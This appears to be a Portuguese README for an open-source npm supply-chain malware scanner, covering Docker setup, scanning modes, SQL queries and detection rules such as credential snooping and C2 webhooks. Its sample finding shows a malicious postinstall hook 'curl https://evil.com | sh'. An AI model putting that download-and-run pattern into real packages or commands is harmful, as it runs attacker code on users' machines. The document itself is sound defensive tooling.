
Um Scanner de Pacotes Público para a Comunidade
Scanner de cadeia de suprimentos npm extremamente simples, focado em Docker. Um único arquivo compose executa:
Esta é a edição somente contêiner. O projeto pode ser construído para escalar usando EC2, SQS e RDS. A maior parte já está configurada no conjunto de ferramentas.
scan.yml (listas de permissão, limites, YARA)scan_runs) pronto para uso~/.aws)docker-compose.yml – serviços: db, enumerator, fetcher, analyzer, dashboard, init-dbenumerator/ – Worker Node que constrói a fila NDJSONfetcher/ – Worker Node que baixa tarballs (+ envia para S3 se ativado)analyzer/ – Analisador estático Python (+ YARA inline opcional)dashboard/ – Aplicativo Streamlit (porta 8501)infra/migrations.sql – esquema principal do banco de dados (packages, versions, findings, scores, indexes)infra/20251106_scan_runs.sql – tabela de histórico de varredurasscan.yml – configuração de análise (regras, pontuação, listas de permissão, YARA)scripts/run_pipeline.sh – executa enumerate → fetch → analyzescripts/init_db.sh – inicializa o esquema do banco de dadosscripts/test_setup.sh – validação automatizada da instalaçãoPré-requisitos: Docker Desktop (ou engine) com Compose v2.
curl -fsSL https://raw.githubusercontent.com/MHaggis/Package-Inferno/main/install.sh | bash
Isso clona o repositório para ~/package-inferno e fornece instruções para começar.
Baixe e execute contêineres pré-construídos do GitHub Container Registry:
# Clone o repositório (para arquivos de configuração e scripts)
git clone https://github.com/MHaggis/Package-Inferno.git
cd Package-Inferno
# Execute com imagens pré-construídas
docker compose -f docker-compose.ghcr.yml up -d db
./scripts/init_db.sh
SEEDS="lodash,express" docker compose -f docker-compose.ghcr.yml run --rm enumerator
docker compose -f docker-compose.ghcr.yml run --rm fetcher
docker compose -f docker-compose.ghcr.yml run --rm analyzer
Imagens disponíveis:
ghcr.io/mhaggis/package-inferno/enumerator:mainghcr.io/mhaggis/package-inferno/fetcher:mainghcr.io/mhaggis/package-inferno/analyzer:mainExecute o script de teste para validar sua instalação:
./scripts/test_setup.sh
Isso irá:
docker compose up -d db
./scripts/init_db.sh
./scripts/run_pipeline.sh
docker compose up -d dashboard
# abra http://localhost:8501
Os resultados são salvos em ./out/findings/*.findings.json e na tabela findings quando o banco de dados está ativado.
O PackageInferno suporta múltiplas estratégias de varredura dependendo dos seus objetivos:
Direcione pacotes específicos que deseja analisar:
# Comando único com sementes
export SEEDS="lodash,express,axios"
./scripts/run_pipeline.sh
# Ou a partir de um arquivo
echo -e "react\nvue\nangular" > packages.txt
export SEEDS_FILE=packages.txt
./scripts/run_pipeline.sh
Como testei inicialmente: Usei SEEDS="is-odd,is-even" para validação rápida.
Varra pacotes paginados do registro npm:
# Limpe execuções anteriores
rm -rf downloads/* out/*
# Varra 2 páginas de 10 pacotes cada (20 pacotes)
export MAX_CHUNKS=2 # Número de páginas
export CHUNK_LIMIT=10 # Pacotes por página
unset SEEDS # Importante: desativar modo de sementes
# Execute etapas individualmente para melhor visibilidade
docker compose run --rm enumerator # Descobre e enfileira
docker compose run --rm fetcher # Baixa tarballs
docker compose run --rm analyzer # Varre ameaças
Exemplo de saída:
config: chunkLimit=10, maxChunks=2
checking recent changes feed...
changes feed: enqueued 2 new versions
enumerating via _all_docs (fresh scan)
page 1/2 count: 10
page 2/2 count: 10
done, enqueued 22 (22 new versions)
Varra todo o registro npm:
export MAX_CHUNKS=0 # 0 = ilimitado
export CHUNK_LIMIT=100 # Lotes maiores para eficiência
./scripts/run_pipeline.sh
Aviso: Isso será executado por horas/dias e varrerá centenas de milhares de pacotes. Monitore o espaço em disco e o tamanho do banco de dados.
O enumerator salva o estado em ./out/enumerator_state.json com a posição do cursor:
{
"last_seq": "0",
"last_startkey": "nome-do-pacote",
"last_run": "2025-11-23T19:24:49.123Z",
"last_processed": 22,
"last_new": 22
}
Simplesmente execute o pipeline novamente e ele retomará do último cursor:
./scripts/run_pipeline.sh # Retoma automaticamente
Para forçar uma nova varredura:
rm -f out/enumerator_state.json
./scripts/run_pipeline.sh
A partir de uma varredura de 2 páginas com 22 pacotes, aqui está o que o PackageInferno detectou:
-- Pacotes mais suspeitos por pontuação
SELECT p.name, s.score, s.label, COUNT(f.id) as findings
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN scores s ON v.id = s.version_id
LEFT JOIN findings f ON v.id = f.version_id
GROUP BY p.name, s.score, s.label
ORDER BY s.score DESC;
-- Resultados:
name | score | label | findings
-----------------------+-------+------------+----------
rendition | 606 | malicious | 153
vs-deploy | 454 | malicious | 119
--123hoodmane-pyodide | 213 | malicious | 46
O que tornou rendition tão suspeito?
url_outside_allowlist - Domínios não permitidossuspicious_pattern - Padrões Shell/evaladvanced_obfuscation - Codificação hex, XOR, arrays de stringbig_base64_blob - Payloads grandes codificados em base64url_in_code - URLs embutidasO sistema de pontuação (configurado em scan.yml) agrega esses resultados para produzir uma pontuação de risco e um rótulo (clean, suspicious ou malicious).
Abra http://localhost:8501 após executar docker compose up -d dashboard
Funcionalidades:
Acesso SQL direto para análise personalizada:
# Conecte-se ao banco de dados
docker exec -it pi-postgres psql -U piuser -d packageinferno
Consultas úteis:
-- Pacotes com tentativas de roubo de credenciais
SELECT DISTINCT p.name, v.version, s.score
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
JOIN scores s ON v.id = s.version_id
WHERE f.rule = 'env_snoop'
ORDER BY s.score DESC;
-- Todos os destinos C2/webhook encontrados
SELECT p.name, f.details->>'endpoints' as c2_endpoints
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'c2_webhook';
-- Tentativas de typosquatting
SELECT
p.name,
f.details->>'target_package' as impersonating,
f.details->>'similarity' as similarity_pct,
f.details->>'typosquat_type' as attack_type
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'typosquat_detected'
ORDER BY (f.details->>'similarity')::float DESC;
-- Pacotes com binários nativos
SELECT p.name, f.details->>'path' as binary_path
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'native_binary_present';
Os resultados também são salvos como JSON estruturado em ./out/findings/:
# Veja resultados para um pacote específico
cat out/findings/[email protected] | jq .
# Conte resultados por gravidade
jq -r '.findings[].severity' out/findings/*.findings.json | sort | uniq -c
# Extraia todas as URLs C2 encontradas
jq -r '.findings[] | select(.rule=="c2_webhook") | .details.full_urls[]' out/findings/*.findings.json
Se você quiser artefatos no S3:
package-inferno-tarballs (tarballs npm brutos)package-inferno-findings (saídas do analisador)~/.aws contenha credenciais válidas (baseadas em perfil ou ambiente).export AWS_REGION=us-west-2
export S3_TARBALLS=package-inferno-tarballs
export S3_FINDINGS=package-inferno-findings
export AWS_PROFILE=default # opcional; ou confie em credenciais de ambiente
O compose monta ~/.aws no fetcher e no analyzer. Se LOCAL_ONLY=false, o fetcher envia tarballs para S3_TARBALLS. Se S3_FINDINGS estiver definido, o analyzer envia o JSON dos resultados após escrever localmente.
Exemplo de política IAM mínima (anexe ao usuário/role que você está usando):
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "S3Access",
"Effect": "Allow",
"Action": ["s3:PutObject","s3:GetObject","s3:ListBucket"],
"Resource": [
"arn:aws:s3:::package-inferno-tarballs",
"arn:aws:s3:::package-inferno-tarballs/*",
"arn:aws:s3:::package-inferno-findings",
"arn:aws:s3:::package-inferno-findings/*"
]
}
]
}
Os principais controles estão em scan.yml. Destaques:
analysis.allow_domains – domínios que não gerarão “fora da lista de permissão”analysis.allowlist.build_tools – regex para etapas de compilação benignasanalysis.yara.* – ativar YARA inline (padrão ligado), caminho das regras, limites de tamanho/temposcoring.rule_weights e scoring.thresholds – ajustar “suspeito/malicioso”Variáveis de ambiente do contêiner que você pode definir:
DAYS (padrão 30), CHUNK_LIMIT (padrão 100), MAX_CHUNKS (padrão 5)SEEDS, SEEDS_FILE – nomes de pacotes sementeLOCAL_ONLY=true (enfileirar para arquivo), DB_URL para desduplicação contra o bancoLOCAL_ONLY=false para enviar tarballs para o S3S3_TARBALLS, AWS_REGION, AWS_PROFILEMAX_EXTRACT_BYTES=0 para extração ilimitadaS3_FINDINGS, A URL do banco de dados já está pré-configurada para o compose local:
postgres://piuser:pipass@db:5432/packageinferno
./out/fetch_queue.ndjson (e pode fazer upsert de versões "enfileiradas" no banco de dados)../downloads e envia para o S3 se configurado../out/findings. Se o banco de dados estiver configurado, ele faz upsert de resultados e pontuações.enumerator/src/enumerator.js)Propósito: Descobre pacotes npm para varrer e constrói a fila de trabalho.
O que ele faz:
SEEDS ou SEEDS_FILE_changes para atualizações recentes_all_docs (com cursor retomável)./out/fetch_queue.ndjson ou SQSPrincipais variáveis de ambiente:
SEEDS="pkg1,pkg2" - Nomes de pacotes separados por vírgula para varrerSEEDS_FILE - Caminho para arquivo de texto com um pacote por linhaMAX_CHUNKS=5 - Limita paginação (0 = ilimitado)CHUNK_LIMIT=100 - Pacotes por página da APIDB_URL - Conexão Postgres para desduplicaçãoExemplo de uso:
# Varre pacotes específicos
export SEEDS="lodash,express,axios"
docker compose run --rm enumerator
# Varre a partir de arquivo
echo -e "react\nvue\nangular" > packages.txt
export SEEDS_FILE=packages.txt
docker compose run --rm enumerator
fetcher/src/fetcher.js)Propósito: Baixa tarballs npm do registro.
O que ele faz:
./out/fetch_queue.ndjson (ou SQS)./downloads/ como [email protected]S3_TARBALLS)Principais variáveis de ambiente:
LOCAL_ONLY=true - Pular upload para S3 (modo somente local)S3_TARBALLS - Nome do bucket S3 para armazenamento de tarballsDOWNLOAD_DIR=./downloads - Diretório de saída localMAX_RETRIES=5 - Tentativas de repetição HTTPFormato da chave S3: npm-raw-tarballs/{nome}/{versao}.tgz
analyzer/src/analyzer.py)Propósito: Mecanismo de análise estática que detecta padrões maliciosos em pacotes.
O que ele faz:
package.json para metadados e hooks de ciclo de vidascan.yml./out/findings/ e faz upsert no banco de dadosRegras de detecção (veja analyzer/src/analyzer.py para lista completa):
lifecycle_script - Hooks de instalação/pós-instalação arriscadosurl_outside_allowlist - Chamadas de rede para domínios não permitidosc2_webhook - Endpoints de exfiltração conhecidos (Discord, Slack, Telegram)env_snoop - Acesso a chaves AWS, tokens, senhaswrites_outside_pkg - Gravações em FS para .ssh, .npmrc, diretórios do sistematyposquat_detected - Nome de pacote similar a pacotes popularesadvanced_obfuscation - Hex, XOR, arrays de string, achatamento de fluxo de controleyara_match - Acertos de regras YARA (malware, exploits, webshells)phishing_form - Formulários de coleta de credenciaisnative_binary_present - Executáveis PE/ELF/Mach-OPrincipais variáveis de ambiente:
MAX_EXTRACT_BYTES=0 - Limite de tamanho de extração (0 = ilimitado)SCAN_YML=/app/scan.yml - Caminho para o arquivo de configuraçãoDB_URL - Conexão Postgres para armazenamento de resultadosS3_FINDINGS - Bucket S3 para upload de resultadosFormato de saída (*.findings.json):
{
"tgz": "/downloads/[email protected]",
"findings": [
{
"rule": "lifecycle_script",
"severity": "alta",
"details": {
"key": "postinstall",
"value": "curl https://evil.com | sh",
"tags": ["shell_spawn", "downloader"],
"explanation": "Hook pós-instalação de alto risco: shell_spawn, downloader"
}
}
]
}
1. Detecção baseada em padrão (adicione em analyzer/src/analyzer.py):
# Defina o padrão regex
CUSTOM_PATTERN_RE = re.compile(rb'funcao-perigosa\s*\(', re.I)
# Adicione à função analyze_file_bytes()
def analyze_file_bytes(path: Path, b: bytes, allow_domains: list[str]):
# ... código existente ...
# Sua verificação personalizada
if CUSTOM_PATTERN_RE.search(b):
out.append({
'rule': 'custom_funcao_perigosa',
'severity': 'alta',
'details': {
'path': str(path),
'explanation': 'Detectada chamada a funcao-perigosa'
}
})
return out
2. Adicione pesos de pontuação (scan.yml):
scoring:
rule_weights:
custom_funcao_perigosa: 6 # Sua nova regra
# ... regras existentes ...
thresholds:
suspicious: 7
malicious: 12
3. Atualize a função de pontuação (analyzer/src/analyzer.py):
def score_findings(findings, scoring):
weights = scoring.get('rule_weights', {})
score = 0
for f in findings:
rule = f['rule']
w = 0
# ... regras existentes ...
elif rule == 'custom_funcao_perigosa':
w = weights.get('custom_funcao_perigosa', 6)
score += int(w)
# ... resto da função ...
1. Crie o arquivo de regras personalizadas (yara-rules/custom.yar):
rule CustomMalware {
meta:
description = "Detecta padrão de ameaça personalizado"
severity = "alta"
strings:
$s1 = "string_maliciosa" ascii
$s2 = /regex_maligna_[0-9]{4}/
condition:
any of them
}
2. Atualize scan.yml:
analysis:
yara:
enabled: true
rules_path: yara-rules/custom.yar # Aponte para suas regras
max_file_size_mb: 10
timeout_seconds: 30
3. Monte as regras personalizadas em docker-compose.yml:
analyzer:
volumes:
- ./yara-rules:/app/yara-rules:ro
Adicione domínios confiáveis ao scan.yml para reduzir falsos positivos:
analysis:
allow_domains:
- registry.npmjs.org
- github.com
- seu-cdn.com # Adicione seu domínio
Permita comandos de compilação legítimos:
analysis:
allowlist:
build_tools:
- \bminha-ferramenta-de-compilacao-personalizada\b
- \bmake\s+clean\b
docker compose up -d db está em execução e então execute novamente ./scripts/init_db.sh.~/.aws/credentials, AWS_REGION e a política/permissões do bucket.scan.yml (analysis.yara.enabled: false).CHUNK_LIMIT ou aumentar MAX_CHUNKS gradualmente.SCANNING_GUIDE.md – estratégias de varredura detalhadas e exemplos| Modo | Caso de Uso | Velocidade | Cobertura | Comando |
|---|
| Sementes Específicas | Testar/investigar pacotes conhecidos | Mais rápido | Direcionada | SEEDS="pkg1,pkg2" |
| Lote Pequeno | Validar configuração, varredura de amostra | Rápido | 10-100 pkgs | MAX_CHUNKS=2 CHUNK_LIMIT=10 |
| Registro Completo | Auditoria abrangente da cadeia de suprimentos | Horas-Dias | 2M+ pkgs | MAX_CHUNKS=0 CHUNK_LIMIT=100 |
| Feed de Alterações | Monitorar novas versões (incluído automaticamente) | Tempo real | Atualizações recentes | Integrado |
AWS_REGIONDB_URL para gravar resultados e pontuações no Postgres